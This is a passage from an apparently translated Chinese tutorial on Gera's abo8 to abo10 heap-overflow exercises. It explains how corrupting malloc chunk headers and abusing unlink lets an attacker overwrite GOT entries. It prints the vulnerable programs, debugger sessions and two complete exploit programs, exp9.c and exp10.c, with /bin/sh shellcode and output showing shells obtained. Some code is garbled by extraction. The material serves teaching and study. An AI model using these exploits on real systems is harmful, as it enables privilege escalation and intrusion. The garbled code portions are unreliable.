这个例子和前一个几乎是一样的,唯一的区别在buf[256]没有在一开始的时候就进行初始化.所以它被放在了.bss区
user@ CoreLabs:~/ gera$ gcc abo8. c - o abo8 - ggdb
user@ CoreLabs:~/ gera$ gdb ./ abo8
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/ or distribute copies of it under certain
conditions.
Type " show copying" to see the conditions.
There is absolutely no warranty for GDB. Type " show warranty" for details.
This GDB was configured as " i386- slackware- linux"...
( gdb) main inf sec
Exec file: `/ home/ user/ gera/ abo8', file type elf32- i386.
[ Some part of output was removed. It??s not needed anyway]
0x08048298-> 0x080482bd at 0x00000298: . init
0x080482c0-> 0x08048310 at 0x000002c0: . plt
0x08048310-> 0x0804843c at 0x00000310: . text
0x0804843c-> 0x08048458 at 0x0000043c: . fini
0x08048458-> 0x08048460 at 0x00000458: . rodata
0x08049460-> 0x0804946c at 0x00000460: . data
0x0804946c-> 0x080494ac at 0x0000046c: . eh_ frame
0x080494ac-> 0x08049574 at 0x000004ac: . dynamic
0x08049574-> 0x0804957c at 0x00000574: . ctors
0x0804957c-> 0x08049584 at 0x0000057c: . dtors
0x08049584-> 0x080495a4 at 0x00000584: . got
0x080495c0-> 0x080496e0 at 0x000005c0: . bss
( gdb) q
user@ CoreLabs:~/ gera$
故当buffer(缓冲区)是确定在.bss区中时,上面则没有可以被重写的.甚至是用旧版本的GCC编译这个例子也是如此.
高级缓存区溢出代码9的分析
源代码:
/* abo9. c *
* specially crafted to feed your brain by gera@ core- sdi. com */
/* modified by CoreSecurity */
/* free( your mind) */
/* I'm not sure in what operating systems it can be done */
int main(int argv, char ** argc){
char * pbuf1=(char*)malloc(256);
char * pbuf2=(char*)malloc(256);
// gets(pbuf1);
strcpy(pbuf1,argc[1]);
free(pbuf2);
free(pbuf1);
}
上面这段代码很容易溢出.在这里是strcpy()函数,而不是gets().当执行free(pbuf2)时将会发生segment fault,因为strcpy()覆盖了第二个内存块的管理信息(头部). CORESECURITY将不会在这份文档中详细叙述 Doug Lea’s Malloc.
当传递一个有260字节的参数后,最后4个字节将会覆盖第二个内存块的prev_size域
user@ CoreLabs:~/ gera$ gcc abo9. c - o abo9 - ggdb
user@ CoreLabs:~/ gera$ ltrace ./ abo9
__ libc_ start_ main( 0x08048454, 1, 0xbffffa34, 0x080482e0, 0x080484ec
< unfinished ...>
__ register_ frame_ info( 0x0804951c, 0x0804965c, 0xbffff9d8, 0x4004f138,
0x4012ba58) = 0x4012c740
malloc( 256) = 0x08049680 <- first chunk ( data)
malloc( 256) = 0x08049788 <- second chunk ( data)
strcpy( 0x08049680, NULL < unfinished ...>
--- SIGSEGV ( Segmentation fault) ---
+++ killed by SIGSEGV +++
user@ bahur:~/ gera# gdb ./ abo9
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/ or distribute copies of it under certain
conditions.
Type " show copying" to see the conditions.
There is absolutely no warranty for GDB. Type " show warranty" for details.
This GDB was configured as " i386- slackware- linux"...
( gdb) r ` perl - e ' printf " A" x 260'`
Starting program: / home/ user/ gera/ abo9 ` perl - e ' printf " A" x 260'`
Program received signal SIGSEGV, Segmentation fault.
0x40090c18 in chunk_ free ( ar_ ptr= 0x40129cc0, p= 0xc6c3563f) at malloc. c: 3128
3128 malloc. c: No such file or directory.
( gdb) x/ x 0x08049780
0x8049780: 0x41414141 <---- prev_ size field of second chunk
( gdb)
0x8049784: 0x00000100 <---- size field of second chunk
( gdb)
0x8049788: 0x00000000 <---- data in second chunk begins here
( gdb)
0x804978c: 0x00000000
( gdb) q
The program is running. Exit anyway? ( y or n) y
user@ CoreLabs:~/ gera$
这样,当试图free()释放第二个内存块(chunk)的时候,它的prev_size域被读到,而且前一个内存块的指针在这里计算.在这里是这样计算的 0x08049780-0x41414141=0xc6c3563f.函数chunk_free()试图访问0xc6c3563f,当然它将得到段错误。攻击者的目的是通过在第二个内存块的prev_size域添入负数(一个正数也是可能的,但是一个很小的数将包含至少一个NULL字节,这种变形在技术上将难以完成)来伪造一个chunk。基于用这个伪造的内存块替代了真正的第二个内存块,unlink()过程将交换这个伪造的chunk的bk和fd(这是攻击者可以控制的),从而重写内存中的任一地址。
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.
| |
+--------------------------------------+ <---0x08049678
/| prev_size 域 |/
/ +--------------------------------------+ >第一个内存块头部
/ | size 域 |/
/ +--------------------------------------+ <---0x08049680
第一个内存块< | 256 bytes of data | |
/ | AAAAAAAA | |
/ | AAAAAAAA | |块溢出方向
/ | AAAAAAAA | |
/| AAAAAAAA |/|/
+--------------------------------------+ <----0x08049780
/ | 0xFFFFFFFC | /
/ +--------------------------------------+ >第二个内存块头部
/ | 0xFFFFFFFC |/ /
/ +--------------------------------------+ /<----0x08049788
/ | AAAAAAAA | /
第二个内存块< +--------------------------------------+ >伪造块
/ | free() addr. in GOT | /
/ +--------------------------------------+ /
/ | shellcode addr. |/
/ +--------------------------------------+
/ | |
在此简单的解释一下。当free()释放第二个内存块是,malloc将检查相邻的两个块是否已经被释放。它首先检查前一个chunk。如果这个块已经被释放,一个叫PREV_INUSE的标志(flag)将被置为0. 这个标志在当前被释放的块的size区(size区最低有效位).如果这个标志没有被赋值,那么当前的块将被释放.前一个内存块的位置则并不知道.指向当前块的指针和前一个块的大小将用来计算它.
攻击者在第二个内存块的size区赋一个0xfffffffc(-4)的值,因为最低有效位必须为0(其他的负数也适用).prev_size域的值现在再次被赋为0xfffffffc(-4),且现在前一个块的指针应该这样计算: 0x08049780-(0xfffffffc)=0x08049784(并非0x08049786).攻击者将会把他伪造的块放在0x08049784.伪造的块头的两个域(prev_size和size)在此并不需要注意.只需注意当fd和bk交换时攻击者可以覆盖内存中的任意一个地址.他可能会选择把GOT中free()函数的地址给fd,把shellcode的地址给bk.现在来看unlink(),shellcode现在在GOT中的free()的地址.当执行第二个free()时(本例中),程序会搜索GOT中的地址,但是它指向的却是shellcode.所以,一个shellcode就代替了free()而执行了.
Shellcode又一次作为最后一个环境变量.GOT中free()的地址可以这样获得:
user@ CoreLabs:~/ gera$ objdump - R ./ abo9
./ abo9: file format elf32- i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049658 R_ 386_ GLOB_ DAT __ gmon_ start__
08049640 R_ 386_ JUMP_ SLOT __ register_ frame_ info
08049644 R_ 386_ JUMP_ SLOT malloc
08049648 R_ 386_ JUMP_ SLOT __ deregister_ frame_ info
0804964c R_ 386_ JUMP_ SLOT __ libc_ start_ main
08049650 R_ 386_ JUMP_ SLOT free
08049654 R_ 386_ JUMP_ SLOT strcpy
user@ CoreLabs:~/ gera$
exploit可以自动获得这个地址.
user@ CoreLabs:~/ gera$ gcc exp9. c - o exp9
user@ CoreLabs:~/ gera$ ./ exp9
Shellcode address in stack is: 0xbfffffc7
free() address in GOT is: 0x8049650
sh- 2.05$
下面是相应的exploit:
/*
** exp9. c
** Coded by CoreSecurity-info@core-sec.com
*/
# include <string.h>
# include <unistd.h>
# include <stdio.h>
# define JUNK 0xcafebabe
# define NEGATIVE_SIZE 0xfffffffc
# define OBJDUMP "/usr/bin/objdump"
# define VICTIM "/home/user/gera/abo9"
# define GREP "/bin/grep"
/* 10 bytes jump and 24 bytes shellcode */
char shellcode[] =
"xebx0aNNNNNOOOOO"
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
int main() {
char * p;
char evil_buffer[276+1]; /* 256 + 20 = 276 */
char temp_buffer[64];
char * env[3]={shellcode,NULL;}
int shellcode_addr=0xbffffffa-strlen(shellcode)-strlen("/home/user/gera/abo9");
int free_addr;
FILE * f;
printf("Shellcode address in stack is: 0x% xn",shellcode_addr);
sprintf(temp_buffer,"% s - R % s | % s free",OBJDUMP,VICTIM,GREP);
f = popen(temp_buffer,"r");
if(fscanf(f,"% x",&free_addr)!=1){
pclose(f);
printf("Error: Cannot find free address in GOT!n");
exit(1);
}
printf("free() address in GOT is: 0x% xn",free_addr);
p=evil_buffer;
memset(p,'A',(256)); /* padding */
p +=256;
*((void **)p)=(void *)(NEGATIVE_SIZE); /* prev_size field of second chunk*/
p +=4;
*((void **)p)=(void *) ( NEGATIVE_SIZE); /* size field of second chunk and prev_size filed of fake chunk */
p += 4;
*(( void **) p) = ( void *) ( JUNK); /* size field of fake chunk*/
p += 4;
*((void **)p) = (void *) (free_addr-12); /* fd field of second chunk */
p += 4;
*((void **)p)=( void *)(shellcode_addr); /* bk field of second chunk */
p += 4;
* p ='0';
execle("/home/user/gera/abo9","abo9",evil_buffer,NULL,env);
}
高级缓存区溢出代码10的分析
源代码:
/* abo10. c *
* specially crafted to feed your brain by gera@ core- sdi. com */
/* modified by CoreSecurity */
/* Deja-vu */
char buf[256];
int main( int argv, char ** argc) {
char * pbuf=(char*) malloc(256);
// gets(buf);
strcpy(buf,argc[1]);
free(pbuf);
}
上面这段代码同样也比较容易溢出.gets()函数被strcpy()取代了.溢出的技巧与上例类似.内存块的头被覆盖,通过free()函数可以覆盖内存中的任意一个地址.因为pbuf与buf[256]是连接的所以这种溢出成为可能.它们都没有在开始的时候进行初始化,而且都是在.bss区内的.这里有两个地方可以覆盖---GOT表中_deregister_frame_info以及.dtors的地址.在我们的exploit里面我们覆盖了前者的地址.
| |
+--------------------------------------+ <---0x08049720
/| 256 bytes of data |
/ | AAAAAAAA | |
/ | AAAAAAAA | |
/ | AAAAAAAA | |缓存溢出方向
Buf[256] / | AAAAAAAA | |
/ | AAAAAAAA | |
/ | AAAAAAAA | |
/| AAAAAAAA | /|/
+--------------------------------------+ <----0x08049820
/ | 0xFFFFFFFC | /
/ +--------------------------------------+ >块头部
/ | 0xFFFFFFFC |/ /
/ +--------------------------------------+ /<----0x08049728
/ | AAAAAAAA | /
pbuf块< +--------------------------------------+ >伪造块
/ | dereg. addr. in GOT | /
/ +--------------------------------------+ /
/ | shellcode addr. |/
/ +--------------------------------------+
/ | |
user@ CoreLabs:~/ gera$ ltrace ./ abo10
__ libc_ start_ main( 0x08048454, 1, 0xbffffa34, 0x080482e0, 0x080484cc
< unfinished ...>
__ register_ frame_ info( 0x080494fc, 0x08049600, 0xbffff9d8, 0x4004f138,
0x4012ba58) = 0x4012c740
malloc( 256) = 0x08049728
strcpy( 0x08049620, NULL < unfinished ...>
--- SIGSEGV ( Segmentation fault) ---
+++ killed by SIGSEGV +++
user@ CoreLabs:~/ gera$ objdump - R ./ abo10
./ abo10: file format elf32- i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495fc R_ 386_ GLOB_ DAT __ gmon_ start__
080495e4 R_ 386_ JUMP_ SLOT __ register_ frame_ info
080495e8 R_ 386_ JUMP_ SLOT malloc
080495ec R_ 386_ JUMP_ SLOT __ deregister_ frame_ info
080495f0 R_ 386_ JUMP_ SLOT __ libc_ start_ main
080495f4 R_ 386_ JUMP_ SLOT free
080495f8 R_ 386_ JUMP_ SLOT strcpy
user@ CoreLabs:~/ gera$
exploit将自动获得这个地址
user@ CoreLabs:~/ gera$ gcc exp10. c - o exp10
user@ CoreLabs:~/ gera$ ./ exp10
Shellcode address in stack is: 0xbfffffc6
__ deregister address in GOT is: 0x80495ec
sh- 2.05#
下面是相应的exploit:
/*
** exp10. c
** Coded by CoreSecurity-info@core-sec.com
*/
# include <string.h>
# include <unistd.h>
# include <stdio.h>
# define JUNK 0xcafebabe
# define NEGATIVE_ SIZE 0xfffffffc
# define OBJDUMP "/usr/bin/objdump"
# define VICTIM "/home/user/gera/abo10"
# define GREP "/bin/grep"
/* 10 bytes jump and 24 bytes shellcode */
char shellcode[] =
"xebx0aNNNNNOOOOO"
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
int main() {
char * p;
char evil_buffer[276+1]; /* 256 + 20 = 276 */
char temp_buffer[64];
char * env[3]={shellcode,NULL;}
int shellcode_addr=0xbffffffa-strlen(shellcode)-strlen("/home/user/gera/abo10");
int dreg_addr;
FILE * f;
printf("Shellcode address in stack is: 0x% xn", shellcode_addr);
sprintf(temp_buffer,"% s - R % s | % s deregister",OBJDUMP,VICTIM,GREP);
f=popen(temp_buffer,"r");
if(fscanf(f,"% x",& dreg_addr) != 1){
pclose(f);
printf("Error: Cannot find __deregister address in GOT!/n");
exit(1);
}
printf("_deregister address in GOT is: 0x% xn", dreg_addr);
p = evil_buffer;
memset(p,'A',(256)); /* padding */
p += 256;
*((void **)p)=(void *)(NEGATIVE_SIZE); /* prev_size field of second chunk*/
p += 4;
*((void **)p)=(void *)(NEGATIVE_SIZE); /* size field of second chunk and
prev_size filed of fake chunk */
p += 4;
*((void **)p)=( void *)(JUNK); /* size field of fake chunk*/
p += 4;
*((void **) p)=(void *)(dreg_addr-12); /* fd field of second chunk */
p += 4;
*((void **)p)=(void *)(shellcode_addr); /* bk field of second chunk */
p += 4;
* p = '0';
execle("/home/user/gera/abo10","abo10",evil_buffer,NULL,env);
}
总结
程序员在编写软件时应该要额外小心.正如这份文档所展示的,技巧熟练的攻击者可以通过比这些错误明显例子中更隐蔽的问题才提升权限,或者是访问主机(当有漏洞的服务正在运行).一些安全举措是必须的---比如不可执行栈的内核补丁,编译器的新版本等等.但最主要的方法来避免程序中的错误应该是教育程序员.让他们并不是只会给他们的程序添加新的函数,而应当针对不安全的过程多检查一下.记住让你的代码短小精悍而美丽.
参考资料:
References
1. Gera,《Insecure Programming by Example》
http://community.core-sdi.com/~gera/InsecureProgramming/
2. Aleph One,《Smashing The Stack For Fun And Profit》
http://www.phrack.org/phrack/49/P49-14
3. Murat,《Buffer Overflows Demystified》
http://www.enderunix.org/docs/eng/bof-eng.txt
4. Juan M. Bello Rivas,《Overwriting the . dtors section》
http://www.synnergy.net/downloads/papers/dtors.txt
5. anonymous,《Once upon a free()》
http://www.phrack.org/phrack/57/p57-0x09
6. Michel 《MaXX》 Kaempf,《Vudo malloc tricks》
http://www.phrack.org/phrack/57/p57-0x08